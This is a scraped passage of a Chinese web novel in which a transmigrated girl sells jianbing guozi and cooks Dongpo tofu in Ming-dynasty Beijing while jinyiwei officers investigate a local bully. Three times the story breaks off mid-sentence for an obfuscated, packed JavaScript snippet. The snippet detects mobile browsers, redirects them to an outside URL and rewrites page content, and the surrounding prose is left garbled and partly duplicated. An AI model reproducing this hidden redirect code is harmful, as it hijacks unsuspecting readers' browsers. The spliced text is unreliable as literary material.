姜至喜沉吟片刻，谨慎答道：“不知差爷指的是哪些？一些大的菜系民女不敢夸口，倒是各地街头巷尾的小吃，略知几样。” 她随口报了几样点心小食的名字，其中有的连晏几都未曾听闻，原本略带倨傲的神色缓下来，甚至忍不住偷偷咽口水。见状，姜至喜顺势说道，日后若有机会，会在摊上陆续推出这些新品。 这也是她一开始的打算。 煎饼果子是食摊的主推，再隔三差五添些别样小吃，既维持新鲜，又能根据菜园的蔬菜解锁不同搭配，反过来升级菜园。 末了，她还趁机打探了薛三几人的情况。 晏几对姜至喜的印象不错，乐得为她解答：“那几人是军户，公然经商本就不合法，这次更是倒霉撞到了锦衣卫手中，短时间内是出不来了。” 锦衣卫？ 闻言，姜至喜微微诧异，显然不明白怎么和锦衣卫扯到干系。 不过无论如何，自己家总算是能安稳些了。 晏几吃饱喝足，帕子一抹嘴巴，走的时候又往木筐里扔下一粒碎银。 “你这小摊既想添新品，便好好做来，何必送来送去？我晏三岂是贪便宜的人。” 闻言，姜至喜哭笑不得：“那也多了，煎饼果子八文，胡辣汤五文，哪里需要这么多。” 可晏几早已大步走远，只背对着她摆摆手，示意不必再找。 姜至喜也知道有钱人不在乎这点小钱，于是不再纠结，想着大不了等下次晏几再来时，自己不收银钱便是了。 “咳，你这儿可还有吃食？” 这时候，又有一个食客过来。 姜至喜闻声转过头来，尚未开口，目光先注意到对方身上穿着的衣袍。 玄色锦缎，上绣飞鱼纹，于云涛海涯间隐约露出的龙首鱼尾之形，分明是只有锦衣卫才有的飞鱼服。 心头猛地一紧，面上却不动声色，姜至喜仰起笑脸：“有的，这位客官想要用点什么？” 17. 第 17 章 第17章 程磊目光迅速打量了一番车上食材，瞧着没有什么贵重的，逐渐放下心来。 今日他拉着沈秀出门查案，代价是请对方去聚欢楼用膳。 真到了要掏银子的时候，还是觉得肉痛不已。 有些人明明外表一副翩翩佳少年的模样，怎么就那么能吃呢？！ 想起沈秀刚进锦衣卫时，千户大人特意设宴接风，沈秀独自一人吃光了二十盘招牌菜，晚宴席散后，千户大人腰间的荷包肉眼可见地瘪了下去。 而他的荷包只会比千户大人更加干瘪！ 就在程磊几乎要心灰意冷时，突然，一阵诱人的香气随风飘来，寻着方向望过去，原来是街头某个摊子前面排起了长龙。 一向对吃食挑剔的沈秀，脚步几不可察地顿了顿。 程磊是何许人也？ 他熏香只舍得熏鼻子，去面馆不点面只喝饶面汤，月俸三十两银子，能攒下二十九两八钱，是个不折不扣的铁公鸡。 哪怕沈秀只停顿了刹那，他还是敏锐地察觉到了。 于是见缝插针立刻凑上前，试探着道：“看什么呢？哎呀，那小摊前头排了那么长的队，味道定然不差，要不我请你尝尝？” 沈秀收回目光。 冬日寒气呵出口，化作一团四散的白雾，少年拢了拢扣在袖端的衣袖，漫不经心地打了个哈欠。 起得太早容易倦了，譬如此刻，他只想回去睡觉，听了程磊的话，也只懒懒一点头。 程磊却像得了什么天大的便宜，生怕他反悔，转身就扎进人堆里排起了队。 这会儿好不容易轮到他，卖饼的小娘子笑吟吟地推荐了好几种配菜，他咬咬牙，干脆每样都加了进去。 心里暗暗掂量：再怎么说，也比聚欢楼便宜多了！ 不谈姜至喜得知锦衣卫来意，着实悄悄松了口气，拿到五个煎饼果子外加两碗胡辣汤的程磊，也解决了心头大患。 他提着一大兜子吃食回去，献宝似的送到沈秀面前。 “啧，别说兄弟不照顾你，给你买的都是加蛋加肉的顶配！” 说着又啧啧称奇：“这饼子瞧着可真稀奇，叫什么‘煎饼果子’，做法从未见过，闻着味儿也挺特别。” 沈秀也从未见过。 瞌睡清醒了些，因着味觉敏锐，他平日对吃食颇为挑剔，最爱去京城的大酒楼，每月那点俸禄基本全部填进嘴里。 但眼前这煎饼果子，和他往日所见的任何吃食都不同。 虽是街头小食，做法样式却别有一番讲究。 仿若宣纸的煎饼皮，打入鸡蛋，撒上翠绿的葱花和乌黑的芝麻，再在其中卷入不同食材，砧案滚上一周，卷成圆圆的桶状。 刀锋沿着侧面利落切开，露出里面的“馅”，红黄绿交错，端是一副活色生香的市井画卷。 有被爹娘牵着的孩童看到后，馋得直流口水：“娘，我也吃那个！” 那爹娘望了一眼，顿时哎呦一声：“那可是读书人吃的精细东西，肯定不便宜，娘给你买糖吃好不好？” 不说两人气质出众，便是身上布料一看就和他们普通百姓不同。 尤其左边那位，面白如玉，好看的不像凡俗中人，倒像是画里走下来的仙人。 仙人吃的东西，哪能是寻常价钱？ “不要不要！我就要那个！”孩童哪管那么多，身子往后一坐，当街撒起泼来。 而另一边，“仙人”般的读书郎却与同伴径自走到街边，撩起衣袍就在一处石阶上坐下。 外表再怎么俊秀，沈秀也是武官，同锦衣卫的同僚们混久了，更是没有什么讲究，直接在路边品鉴起来。 裹了配菜和酱料的煎饼，味道层次丰富，鲜嫩与咸甜交融，入口之后猛然炸开，不仅不冲突，竟是越嚼越香。 沈秀瞪大了困顿的桃花眼。 京师何时出现了这么一家小食摊？ 来不及多想，已经拿起另外一半。后面吃多了，甚至分出喜好，他最喜欢里面的果篦儿，油炸过后干脆酥香，咬起来咔嚓上头，便是单独拿出来卖他也是愿意买的。 程磊没想到，自己还能分到一个煎饼果子。 受宠若惊之下，珍惜地捧在手中品尝，果不其然，味道比自己想象还要好，更重要的是物美价廉，能给他省下不少钱！ 正这样美滋滋想着，却见沈秀三两下吃完自己手中的煎饼果子，利落起身：“走吧，去聚欢楼。” “？”程磊一时没反应过来，“怎么还要去聚欢楼？” 沈秀挑眉瞥来，一副“这还用问”的神情：“不是你说要请我去聚欢楼的？” 程磊：“……” 他想的是以此代彼，不是一顿之外再添一顿啊！ 忙忙碌碌半个晌午，两盆面糊只剩下一点儿根部，胡辣汤更是全部售空。 姜至喜没有等姜洪过来，她把借来的长木凳送还给汤饼铺，自己收拾东西回家。 姜家的车子是常见的独辕车，外形神似“凸”，中间车轮高高隆起，将车盘自然分为左右两边，《天工开物》称其“一人推之，载量数石，行道便捷。” 实际用起来却是很难保持平衡，好在姜至喜属于天赋流，卖光食材后的车子轻了不少，她尝试了下，几步之后就找到了平衡妙招。 双手一前一后，手臂如弹簧般微曲，借力向前，如此，以她现在的力气，推着满车工具竟也走得稳稳当当。 快到巷口时，撞上从卫所匆匆出来的姜洪。 少年额角带汗，黝黑的脸上透着焦急，见姜至喜自己推车回来吓了一大跳，急忙问道：“怎么不等我过去，难道薛三又去寻衅了？” 姜至喜摇头：“大哥放心，官差们说薛三还在牢中，是我想着卫所里事忙，总不能让你天天来回，便自己尝试了下，感觉推着也不费劲。” 姜洪伸手接过车把，瞥见姜至喜发红的手心，声音闷闷的：“再轻也有十多斤，哪能不费劲？”说完不等她回应，便推着车朝前走去，嘟囔道，“下回我早点出来。” 姜至喜知道姜洪是心疼自己。身为大哥，少年说的话最少，干的话最多，总是把家中重担抗在肩头，像田间埋头苦干的老牛。 所以她何必做扫兴的人？真等到忙不过来的时候，大不了添置一辆马车或牛车，办法总是比困难多。 回到家，第一件事情关紧大门，一家人围坐在一起，进行每日的必备项目——数钱。 连趴在床上吐泡泡的小妹也被抱了过来，手里攥着一串长长的铜钱，美其名曰沾沾喜气。 比昨日还要高的铜钱哗啦啦堆落在炕头，珍姐儿眼尖，从中捡起一块指甲大小的碎银子，惊喜地低呼：“这个得有二两吧！” 姜至喜笑着解释：“是一位衙役给的‘预存金’。” 珍姐儿顿时“哇”地张大嘴巴，连衙役也买二姐的煎饼果子，这一刻在她心目中，姜至喜是顶顶了不起的人。 她忍不住拽住二姐的衣袖，央求再多讲一些，姜至喜见她这般，便挑了几件街市上的趣事讲出来，小姑娘听得津津有味，仿佛自己也亲身经历了似的。 煎饼果子的销量比昨天还要好，再加上新推出的胡辣汤，最后数出来的净利润有三百二十文！ 比第一日多了一半还要多！ 兄妹三人欣喜不已，照旧每人拿二十文，剩下的分成三份，藏进床底的老鼠窝里。 不过往里塞的时候，姜至喜发现洞口似乎有些不够用了。 照这个速度赚下去，恐怕再过不久，这老鼠窝就真要挤得连只老鼠都钻不进去了。 / “滋啦——” 一阵白蒙蒙的水蒸气腾起，霎那间，狭小的厨房云雾缭绕，宛若仙境。 连落在屋檐上的麻雀都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998398|193744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍不住伸头张望，却见雾气里一道拿着锅铲挥舞的身影，动作快得带风，仿若天上的“锅铲仙子”。 前些日子买的猪肉没有吃完，姜至喜把肥肉炼成油，装在油罐子里。 这会儿拿出来，猪油已经凝固成奶白的膏体，擓一勺子在锅里擦一圈，脂膏遇热融作清亮的油液，缓缓浸润黑黢黢的锅底。 姜至喜手刀起刀落，手中的葱花切得长短齐整，先拈起葱白段撒进锅中。 又是一阵“滋啦”声。 葱花的呛辣被热锅逼出来，气味独特浓烈，别看属于司空见惯的调料，一定程度上，葱花是奠定一道菜风味的基础。她把葱白煸到微黄出香，再投进嫩些的葱绿部分，继续以小火慢炒，直至葱叶变得焦脆，颜色微微发黑，再捞出炸酥的葱渣，只留香气扑鼻的葱油。 这一步是让豆腐香润入味的关键，葱油炒香了，才能压住豆腐的豆腥味。 连日摆摊，午饭总是随着摆摊吃，味道虽不错，但姜至喜难免想念一口热乎的家常味道。 恰巧邻摊就是卖豆腐的，姜至喜留意过，王大的豆腐点得还算是不错的，豆腐颜色微黄，质地扎实，托在手中弹性十足。 这样的豆腐吃起来口感也是极好的，紧实韧性，豆香味浓郁，所以今日收摊时，她特意请对方切了两块豆腐，打算做一道连古人都钟爱的名菜——东坡豆腐。 姜至喜把泡好的豆腐捞出沥干，切成半指厚的方块。 此外她还特意往豆腐表面撒点儿面粉，这算是她煎豆腐的一个小妙招，拍了粉的豆腐下锅不易散，稍微一煎外皮就会变得酥脆，而且吸油少，吃起来更清爽。 事实也是如此，等豆腐煎至两面金黄，结出一层酥酥脆脆，又薄如蝉翼的薄壳，姜至喜便用笊篱将豆腐盛出来备用。 上辈子她做这道菜的时候，还会加入火腿香菇焙香，眼下香菇没有，火腿更没有，只能用原汁原味清水打底。 炒熟的芝麻代替香榧子，再擓上半勺豆酱，少量白砂糖，用铲子细细搅开。 如此，清水也变得不再清澈，变戏法似的如墨滴入，味道可比文人的墨香多了。 趁着这个空隙，姜至喜弯腰往灶膛里添了几根木柴。 火势一起，锅中的酱汁渐渐稀释，锅铲拨弄，酱汁微有些挂壁，将煎好的豆腐重新倒入，轻轻推匀，让每一块都均匀裹上酱汁。 到这一步，香味更加浓厚，并逐渐弥散开来，姜至喜的肚子开始不争气地咕噜叫了起来，好在没有旁人，她脸部红心不跳盖上锅盖继续小火焖煮。 又过了半刻钟，锅里的汤汁变得浓稠似酱，见此情形，姜至喜果断从灶膛里抽.出柴火，再往锅里捻入一小撮食盐和葱花。雪白和翠绿的点缀，使得这道菜犹如工艺品，色香味俱全，如此，连苏东坡都念念不忘的东坡豆腐就做好了。 姜至喜先从中盛出一盘子，剩下的放锅里继续闷着，她朝屋子里喊了一声：“你们先吃着，我去林婶家一趟。” 陈氏对他们兄妹照顾良多，现阶段拿不出什么像样的回报，送上些自己做的吃食也算一份心意。 顺便，她想打听一下附近有没有手艺好的木匠。 眼看着小食摊步入正轨，生意越来越好，总不能一直借用别人的凳子。 说来也巧，今日林总旗恰好在家，听闻姜至喜想找木匠做凳子，他当即推荐了个人：“北鼓巷口就有一位王木匠，手艺好，价钱公道，最近正清闲着，你现在去找他，几天就能做好。” 姜至喜又细细问了地址和价钱，随后将带来的豆腐递给陈氏。 陈氏看见盘中金黄酥嫩的豆腐，还以为是煎肉块，连忙推辞。姜至喜抿嘴一笑：“婶子，这是用豆腐做的。” “豆腐？”陈氏面露惊讶。 姜至喜眼中闪着光，语气也带上了几分自豪：“您尝尝，这东坡豆腐做得入味，吃起来未必比肉差！” 18. 第 18 章 第18章 临走时，林总旗想起什么，叫住姜至喜：“近日卫所里查得严，叫洪哥儿安分些，莫要胡乱走动。 姜至喜心念一动，忙问：“林叔，可是出了什么事？” 林总旗叹了口气，面露愧色：“昨日锦衣卫来人，薛总旗因为纵容侄子脱免军籍，私自在坊市贩售豆芽，杖了八十，至于他侄子薛三，还在牢里关着，听说是牵扯进了什么大案子。” 果然。 离开林家，姜至喜独自站在街道上，连日来萦绕心头的迷雾终于消散。 大明发展至今，卫所制度早已颓败，像安定门这边的卫所，常年粮饷亏空、入不敷出，巴不得军户们自己谋生路，对于军户私自摆摊这事并不严查，所以薛三出事另有原因。 想明白这一点，姜至喜心中稍定——起码眼下，她这摊子还能继续摆下去。 至于薛三一个小小的军户为何敢欺负姜家，如今想来，大概有那位薛总旗的授意。 原身的父亲隶属林总旗麾下，而林总旗又与薛总旗素来不和，薛三动不了林总旗，姜家便成了这场争斗中的牺牲品。 思及此，姜至喜不禁蹙起眉头。 林总旗念及与姜父旧情，对他们兄妹多有关照，但也仅限于此。 真遇上大事，他未必愿意帮忙，或者说，未必有能力插手。 最好的出路便是他们搬离南鼓巷。 可搬家谈何容易？如果说半个时辰前姜至喜还在为“填满老鼠洞”感到沾沾自喜，这会儿她就只剩苦笑。 内城租房所费不赀，若想带家人迁往安稳些的坊市，租金定然高昂。 看来，还是得继续奋斗啊。 却说另一边的林家。 陈氏把姜至喜送来的东坡豆腐热了热，端到桌上算添一盘菜。 嘴上不由感叹：“喜姐儿真是变了许多，以前总是躲在洪哥儿后面，同人说话细声细气，如今倒能独当一面了。” 林总旗对姜家几个小辈也算知根知底：“姜家如今没个大人撑着，这几个孩子若再不立起来，只怕更要叫人欺负了去。” “这话倒是真的。”陈氏摇摇头，不再多提，转而看向桌上的吃食，“不过以前还真没有看出来喜姐儿有这手艺，瞧瞧这豆腐，烧得比酒楼里的还讲究。” 还有上次的韭菜盒子，同样是用韭菜做的，喜姐儿做出来的韭菜盒子就格外香。 她吃过之后便念念不忘，又不好上门讨问。这次送来的豆腐卖相看着不错，陈氏内心有些期盼，用饭时向来优先顾着丈夫的她，这次没忍住，先夹了一块吃进嘴里。 下一刻，一股醇香在舌尖荡漾开来，顿时津液肆生。 真好吃啊！ 煎至外皮焦脆的豆腐，没有了豆腥味，反而散发着阵阵的葱香。经过焖煮，已经变成虎皮，酱汁充分填满了每一处缝隙。 咬开微韧的外皮，里面却是嫩如膏脂，豆腐选的北豆腐，所以软嫩不烂，陈氏用嘴一抿，便在舌尖轻轻化开，非普通嫩豆腐那般易散，而是多了一丝绵密。 味道更不用说了，咸鲜醇厚，陈氏甚至尝到了微微的回甘。葱香打底，酱香和豆香完美融合，附着在豆腐的表面，牙齿一碰就会切成几块，里面是恰当好处的咸、鲜，葱油拌过的味道丝丝缕缕渗入其中，咬开之后，汁水四溢。 陈氏毫无防备地被烫了下。 但她不仅没有停下，反而又迫不及待夹了一块。 这次的豆腐块头小些，表面裹满了油脂，陈氏本有些生怵，然而入嘴之后，发现半点儿腻味也没有，葱虽然是调料，可这调料也有大用处，用它炸出来的葱油清润透亮，正正解了猪油的腻。 等到咬开豆腐，那点儿葱香就被压盖住。 豆腐是热腾腾的，冒着白气，表面裹满了厚厚的酱汁，见状，陈氏赶紧“吸溜”一下，把差点儿流淌的汁水全部吞进去。 简单的豆腐，竟真的吃出了肉的感觉，让人满嘴流香。 “喜姐儿说的没错，这什么东坡豆腐，真的比肉还香哩！” 以往林总旗在家吃饭，陈氏总是事事紧着他，今日却像是全然忘了丈夫似的，只顾着自己夹菜。 林总旗有些不满，见妻子吃得津津有味，气得自己也夹了一块。 结果豆腐一入口，香得他差点咬到舌头。 不是，什么时候豆腐也这般好吃了？ 林总旗震惊地盯着盘子，盯的眼睛都酸了，那豆腐还没有现出原型，反而因为陈氏不停手，满满一大盘子东坡豆腐，几乎要见了底！ 林总旗：“……” 他顾不得抱怨，赶紧加入抢饭。 豆腐沾了芝麻，醇厚的焦香丝丝缕缕钻入鼻孔，像秋日晒过谷物的平房。 没有老百姓不爱五谷丰登，林总旗往上数三代，也是地里刨食的农民。他贪婪地深吸一口气，嘴上却毫不客气咬下大口，顿时，细小的颗粒在嘴里沙沙地滚着，紧跟着是稀奇的咸甜味儿。 京师人很少接触咸甜口，林总旗便是第一次吃，但意外发现不错。 豆酱和调料翻炒混合，砂糖融化其中，慢慢熬出浓稠挂壁，两种味道配得恰到好处，谁不抢谁的，反倒把豆腐的豆香衬得绵延。 这般人间美味下肚，林总旗整个人的精神仿佛得到升华，先前那点儿对妻子的气愤也忘记了。 咳，这种时候就不要谈谦让，桌子上只论筷子快慢！ …… 姜至喜到家时，珍姐儿已经把东坡豆腐和烀饼端到桌上，抱着小妹喂米糊糊。 姜洪则给自家挑了四桶水，把厨房的大水缸灌满，又闲不下来，拿着斧头砍柴。 仔细想想，姜至喜做饭的时候从来没有操心过柴火，因为姜洪会把木头劈成不同粗细，用起来格外方便。 她明明让他们先吃，可是谁都没有先吃。 心中蓦地涌起一阵感动，姜至喜不是一个容易心软的人，除了奶奶，她很少会主动亲近谁。 没想到重活一世，反而让她拥有了互相体谅的家人。 “我回来了。” 珍姐儿抬起头，稍微有了点儿肉的瓜子脸上扬起笑脸：“哎呀，二姐回来了，大哥快来吃饭！” “嘿嘿，来勒！” 一盘子东坡豆腐，外加豆面的铁锅烀饼子，厚厚的豆面，“啪叽”扇到油润的铁锅上，待热火熥烤焦黄，表面冒出蜂窝似的气泡，又暄又软，满满的豆子香。 吃时把饼从中间对折，往里面夹几块东坡豆腐，浓郁的酱汁立刻浸透了烀饼子，淡黄的豆面染上了一层焦棕的油亮，一口下去，既有豆香、芝麻香，又有咸甜的酱香。 若觉得不够劲，没关系，桌上还有洗干净的水嫩小葱。 原生未经过处理，足够辛辣呛鼻，保准吃了之后“风味十足”。 至于饭后，姜至喜和珍姐儿总偷偷躲着姜洪走，就暂且按下不提了。 下午时辰不用摆摊，简单休息了会儿，姜洪去卫所继续训练，姜至喜则开始准备明天的备菜。 不过在此之前，她先“进”了一趟随身菜园里。 昨天摘的生菜已经重新长出来，韭菜和小葱也一片鲜绿，鸡窝里不见鸡影，只卧着两颗圆溜溜的鸡蛋，除此之外，并未解锁新的蔬菜。 姜至喜虽然明白菜园越往后越难升级，可亲眼看到后，还是有些失落。 忍不住嘟囔，这次居然要收集这么多食客的喜爱值，若最后给她解锁一个“调味品”，她怕是要闹了。 把鸡窝里的鸡蛋拾起来，又从菜畦中掐了些生菜嫩叶、薅两把小葱，韭菜没有割，家里有黄豆芽吃着，空间里的东西还是少往外拿为好。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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老妇人正低头专注地打磨一块木料，有人进来，她连眼皮都未抬一下。 她的脊背已经很弯了，哪怕尽量挺直，仍旧佝偻得犹如一棵历经风雨的老槐树，握着刨刀的手更是被磨得粗糙，指腹厚厚的茧子看不出岁月的颜色。 珍姐儿有些害怕，悄悄朝姜至喜身后缩了缩。 姜至喜拍了拍小姑娘的背，倒是没有离开。在她看来自己需要的是长凳，至于做长凳的是男是女，并不在考虑范围。 她走上前一步，干脆利落说出来意，然后提出自己的诉求：“要六条长凳，三张半米宽的小桌，桌子底部最好能做成活动机关，用的时候展开就是桌腿，不用的时候可以折叠收起来，变成一面木板。” 朝廷虽没有明文规定，但行起商来自有一套规则，摊位大小并非随心所意，而是有所限制。 当初她去宣课司交的课税，实际就包含占用公共空间的“廛钞”。 占用面积越大，需缴纳的课税就越高。 目前她的煎饼果子摊只是一个小摊位，不需要太多的桌椅。 而且她也并不打算扩大面积，至少在“摆摊的时候”不打算，所以五张桌子就足够了。 怕王木匠无法理解，她一边说还一边比划。 一开始，王木匠的确没有搭理她，继续处理手上的木头，后面听到她独树一帜的要求后，才慢悠悠抬起头。 那张年老布满皱纹的严肃脸直面而觑，饶是胆大如姜至喜，也有一瞬间卡壳，下意识放低音量：“那个，如果做不到，可以先做凳子……” 话未说完，便被王木匠不耐打断，老人炯炯有神的眼睛盯着她：“你方才说的那个桌子，可有具体的图样？” 19. 第 19 章 第19章 姜至喜松了口气，看来对方是感兴趣的，这样也好，感兴趣才能接下单子。 她思索了下，折叠桌的构造并不难，主要特点是连杆机构和铰链，用来摆摊不需要多复杂的，简单的“剪刀式”便可。 上辈子姜家老家的院子里便放着一个木质折叠桌，后来雨水淋多了有些不灵活，姜至喜还亲自上手修过。 至于图纸，对于一个设计专业的人来说更不是什么难题，她左右找了一圈，拾起一根枯枝在地上勾划，因着重点是下面的结构，其他部位只寥寥几笔。 饶是如此，一个折叠桌子的形象也跃然“地”上，珍姐儿惊喜地瞪大眼睛，连什么时候从姜至喜身后走出来都没有发现。 王木匠认真看着地上的图，片刻后点点头：“不是很难，比普通桌子多放根杆，桌面和桌腿连着，牵一发动全身。” 末了感叹一句：“你这个想法不错，其他东西也可以用上。” 王木匠的话提醒了姜至喜，她又想到另外一个东西，婴儿学步车。 婴儿学步机几乎家家都有，从一开始的单纯学步，到后面还能变形成推车两种形式，正适合这个年纪的小妹。 可惜对于学步机她并没有机会修理过，只能尽量详细描述功能，王木匠表示自己还需要想想。 一百五十文定金，约定七日后交货，届时再付剩下的钱数。 这是木匠行业的约定俗成，而且王木匠的报价比其他木匠低了五十文，姜至喜很是爽快付钱。 离开时，日头刚过正午，石板桥的积雪融化成水，也不知河里的冰还能坚持多久。 一直跟在身后的珍姐儿一改方才的拘谨，按耐不住，叽叽喳喳和姜至喜讲方才的见闻：“……我离得近，偷偷看到王木匠在一个木盒上刻花，那花可大了，枝子弯弯曲曲的很好看，就是不知道是什么花。” “那是木兰花。” “哇——”珍姐儿惊叹一声，双手不自觉地在自己的布裙上比划着，仿佛眼前已经浮现出那朵木雕的木兰，“原来叫木兰花呀，比绣在帕子上的还好看。” 她嘟嘟囔囔，像是在琢磨什么要紧事，过了好一会儿突然问：“二姐，女孩子也能做木匠吗？” 姜至喜想都没想便回答：“女孩子可以做任何事情。” 在她那个世界，女人的成就完全不输男人。 既能做木工，也能当作家、农民、研究员，读书识字更是成为了所有孩子的义务教育。对她们来说，性别不再是限制，想做什么才是最重要的。 姜至喜留意到珍姐儿说起雕花时眼睛里的兴趣，随口道：“若是你喜欢，等日后取木盒时，咱们再问问王木匠，能不能教你刻个最简单的小花纹。” “可是，我笨手笨脚，万一学不会……” 珍姐儿咬着嘴唇，有些犹豫。她以前就笨手笨脚，娘教姐妹三个刺绣，只有她绣不好，每每都惹得娘叹气，她嘴上说着不在乎，可心里却也觉得自己大抵是笨的。 姜至喜挑了挑眉：“这不是巧了，我也不会摆摊，咱们姐妹两个都不会，做不好是人之常情，要是做成功了，那得多厉害啊。” 正心里不停打退堂鼓的珍姐儿：啊？ 还有这样的说法？ 小小的脑袋充斥着新奇的想法，可仔细琢磨会儿，珍姐儿又觉得二姐说的很有道理！ 她本来就不会雕花，第一次尝试肯定不如王木匠雕得好，与之相比，王木匠却是做了许多年的木匠，见惯了雕的比自己差的人，若是自己乍然雕的比对方好，反倒让人家脸上挂不住。 “没错，就是这个样子！” 姜至喜煞有其事地点点头。 世上像她们这样体贴善良的人，可不多见了。 珍姐儿高兴起来，虽然她总觉得有点儿不对劲，但在姜至喜的洗脑中， 姜家孩子多，珍姐儿作为中间的孩子，既不如长子长女受重视，也没有小妹的宠爱。不同于原身像空气，珍姐儿是享受过一段时间父母的关注的。 只不过这种关注，很快就分给了更小的妹妹，而她只能用日复一日的听话和家务，来换取父母和家人的关注。 姜至喜没有再多说什么。 步子迈开，几下便走出不远的距离，冬日暖黄色的阳光照在肩头，头顶的花布包头巾缠裹出饱满的弧度，乌黑的长发瀑布似的倾落，尽数披散在后背。 珍姐儿抬起头，正好看到这副画面。 她记得这是二姐近来的习惯，说是怕虱子爬到头上，所以用缠布遮挡一下。 其实她想说，哪怕戴着包头巾，虱子也会钻进去。 当然，为了防止二姐吓得跳脚，珍姐儿体贴地没有说出真相。 小妹趴在二姐的肩头，来时精神抖擞的豆豆眼，这会儿在晃悠悠的怀抱中，变成两条细长的缝隙，偶尔还能瞥见半点儿翻白。 珍姐儿忽而嘴角一翘，她快跑了往前赶了几步，伸手牵住了姜至喜垂下的手。 头顶的太阳还在卖力散发着风姿。化开了河面冰霜，化开了墙角积雪，可地上姐妹三人的影子，还是牢牢黏在一起，怎么也分不开。 / 珍姐儿是个勤奋的孩子。 如果是个男孩，说不定会比姜洪更适合入卫所——因为她从不打无准备的仗。 在决定向王木匠学习雕刻花纹后，她就先开始自己在家做准备。 每日等小妹睡着，她不再无聊地蹲在院子里看蚂蚁，也不会趴在院门听外面同龄孩子玩耍的动静，而是从厨房那些柴火里，找了一些废弃的小木块，拿着姜母纳鞋底用的粗针，在上面一笔一划地刻划。 起初总是刻得歪歪扭扭，指尖还被针扎出了小红点，但珍姐儿半点不气馁，反倒越练越起劲。 姜至喜看她玩得开心，便没有干预，自己投身摆摊事业，提前备好材料，等第二日去老地方摆摊。 姜洪照旧帮忙把车子推过去。 中途，兄妹二人绕了条路，先去王二麻子那补充做煎饼果子需要的油炸桧。 因此抵达大角度头时，已经比平日稍微晚了半刻钟。 谁知刚至借口，就望见自家摆摊的位置上黑压压地围了十几个人！ 二人心头一紧，还以为又惹上了什么麻烦。 姜洪把车子停在路边，准备自己过去看看。 不过他还没来得及这样做，旁边豆腐摊的王大就已经看到了他们，当即朝着人群吆喝一声：“来了来了！煎饼果子来了！” 一瞬间，密密麻麻的人朝这边望过来。 姜至喜头皮发麻，这才反应过来这些人都是来买吃食的。 怕他们一窝蜂涌过来，赶紧喊道：“诸位且莫拥挤，请按先后次序排好队伍！队伍先到先得！” …… “这里应该就是陈兄说的小食摊吧？” “没错了，陈兄说做煎饼果子的是一位年轻的小娘子。” “哎，在下都闻到那股味道了，和陈兄带去的汤一模一样！” 因为食客太多，本来打算送完车子就离开的姜洪，也不得不留下来帮忙舀胡辣汤。 姜至喜一边摊着煎饼，一边竖着耳朵偷听。 得知大部分食客是经人介绍过来的，姜至喜不禁在心里深深感谢了那位“陈兄”一番，随后打起精神，积极地给众人介绍吃食。 俗话说得好，食物在精不在多。 她的小食摊目前虽然只卖两样吃食，但都是浓缩的精华。 而来的食客因为闻过陈述带去翰林院的食物，早就被香味俘虏。 亦或者是感到好奇，特意过来凑热闹，在姜至喜介绍完后，不约而同点了一份或两份吃食。 两刻钟后，第一批食客才陆续离开。 姜至喜擦了下额头的汗，尚未来得及喘口气，晏几带着几个衙役又过来了。 见状，她不得不快速冲洗干净双手，又把空掉的面糊盆添满新的面糊，开始了卖早食的第二轮高峰。 今日的翰林院四处飘荡着一股香味。 翰林院学正有些奇怪。 不过他心里正愁着事情，并没有深究。 前些日子，因着《实录》修成，他为了彰显自己的重视和体贴，主动表示请翰林院一众同僚吃饭庆祝。 哪想此事惊动了内阁的徐阁老。 这位两朝元辅老臣，按常例与翰林院并无太多直接交道，不知怎么的，此番朝会结束后突然过来和他攀谈，不得不让学正有所深思。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006924|193744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >难道是圣上对《实录》的修纂不满，特意让徐阁老过来敲打？亦或者之前呈上的那批诰敕出现了纰漏？ 越想越是不得其解，至于说他想得太多。 嘿，他要是想的不多，也做不到这个位置！ 学正不由得将近日诸应事务一一梳理，自觉没有差池，心下稍宽，这才有闲心将心思放到那顿膳食上。 以小见大，没道理公事无纰漏，膳食反而出了差错。 原本打算去聚欢楼订一桌酒饭，转而念及圣上力倡节俭之风，聚欢楼一道炙羊肉便索价五两银子，怕是玷污了翰林院的清誉。 如此只能订光禄寺供的廊下食。 想到这里，学正便不住叹气。 不是他挑嘴，实是朝廷的廊下食着实有些难以入口。 太祖当年体恤朝臣辛苦，特意让光禄寺每日备下熟食饭菜，恩准官员们在殿廷廊下用餐。 这本是一项德政。 可光禄寺那帮人虚应故事，只一味因循旧例，发展至今，菜品依旧是洪武年间那几样，且烹饪之法陈旧落后。 更别说这廊下食实则就是大锅饭。 朝廷上下那么多官员，光禄寺哪里会尽心？食材多为市面上的陈米边角肉，为了赶在朝会时供应，往往提前一天准备，待到用膳时早已凉透。这般饭食，只堪充饥，哪里能用来待客？ 正发愁间，那股子香味愈加浓郁。 似煎饼的焦香，有带着些辛辣的霸道，引得他早已饱腹的肚子也钻出了馋虫。 学正招招手，拦下两位正巧经过的同僚。 陈述因为一番“美食带货”，在翰林院变得小有名气，见自己喜爱的吃食得到大家认可，心中颇有几分自得。 如今听到学正也好奇这香味，自然又是一番大力推荐，甚至一回生二回熟，再次把自己手里的煎饼果子递过去。 “要不，您尝一尝？” 